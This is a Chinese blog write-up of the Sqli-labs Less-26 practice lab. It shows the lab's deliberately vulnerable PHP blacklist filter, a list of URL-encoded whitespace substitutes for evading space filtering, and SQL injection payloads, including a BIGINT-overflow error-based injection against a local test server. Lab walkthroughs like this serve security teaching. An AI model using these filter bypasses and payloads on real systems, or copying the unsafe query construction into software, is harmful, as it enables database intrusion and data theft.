zoukankan      html  css  js  c++  java
  • Sqli-labs Less-26 绕过 or、and、注释符、空格、斜杠过滤 基于BIGINT溢出的报错注入

    关键代码

    function blacklist($id)
    {
    	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
    	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
    	$id= preg_replace('/[/*]/',"", $id);		//strip out /*
    	$id= preg_replace('/[--]/',"", $id);		//Strip out --
    	$id= preg_replace('/[#]/',"", $id);			//Strip out #
    	$id= preg_replace('/[s]/',"", $id);		//Strip out spaces
    	$id= preg_replace('/[/\\]/',"", $id);		//Strip out slashes
    	return $id;
    }
    $id=$_GET['id'];
    $id= blacklist($id);
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    
    print_r(mysql_error());
    

    本关结合25关,将空格,or,and,/*,#,--,/等各种符号过滤,此处对于and,or的处理方法不再赘述,参考less25。此处我们需要说明两方面:对于注释和结尾字符的绕过,我们此处只能利用构造一个 ' 来闭合后面到 ' ;对于空格,有较多的方法:

    1. %09 TAB键(水平)
    2. %0a 新建一行
    3. %0c 新的一页
    4. %0d return功能
    5. %0b TAB键(垂直)
    6. %a0 空格

    本关sql语句为SELECT * FROM users WHERE id='$id' LIMIT 0,1

    我们首先给出一个最为简单的payload:

    http://127.0.0.1/sql/Less-26/index.php?id=1'%a0||%a0'1

    此时sql语句为SELECT * FROM users WHERE id='1' || '1' LIMIT 0,1

    第一个 ' 首先闭合id='$id' 中的',%a0是空格的意思,同时%0b等其他的空格绕过方法也是可以通过测试的。||是或者的意思,'1则是为了闭合后面的 ' 。

    本关可以使用报错注入、延时注入等方法,下面演示一下基于BIGINT溢出的报错注入。

    爆当前数据库

    http://127.0.0.1/sql/Less-26/?id=1' union select (!(select * from (select database())x) - ~0),2,3 || '1

    将空格用%a0代替

    http://127.0.0.1/sql/Less-26/?id=1'%a0union%a0select%a0(!(select%a0*%a0from%a0(select%a0database())x)%a0-%a0~0),2,3%a0||%a0'1

    接下来只不要更改sql语句即可。按照我们前面所介绍的方法即可。这里就不进行一一的演示了。

    TIPS:本关可能有的朋友在windows下无法使用一些特殊的字符代替空格,此处是因为apache的解析的问题,这里请更换到linux平台下。

    参考:https://www.cnblogs.com/lcamry/p/5762992.html

  • 相关阅读:
    结构化分析工具之判定树
    结构化分析工具之判定表
    结构化分析工具之结构化语言
    结构化分析工具之数据字典
    结构化分析工具之数据流图
    结构化分析方法
    软件生存周期模型之V模型
    软件生存周期模型之喷泉模型
    软件生存周期模型之螺旋模型
    软件生存周期模型之原型模型
  • 原文地址:https://www.cnblogs.com/zhengna/p/12652108.html
Copyright © 2011-2022 走看看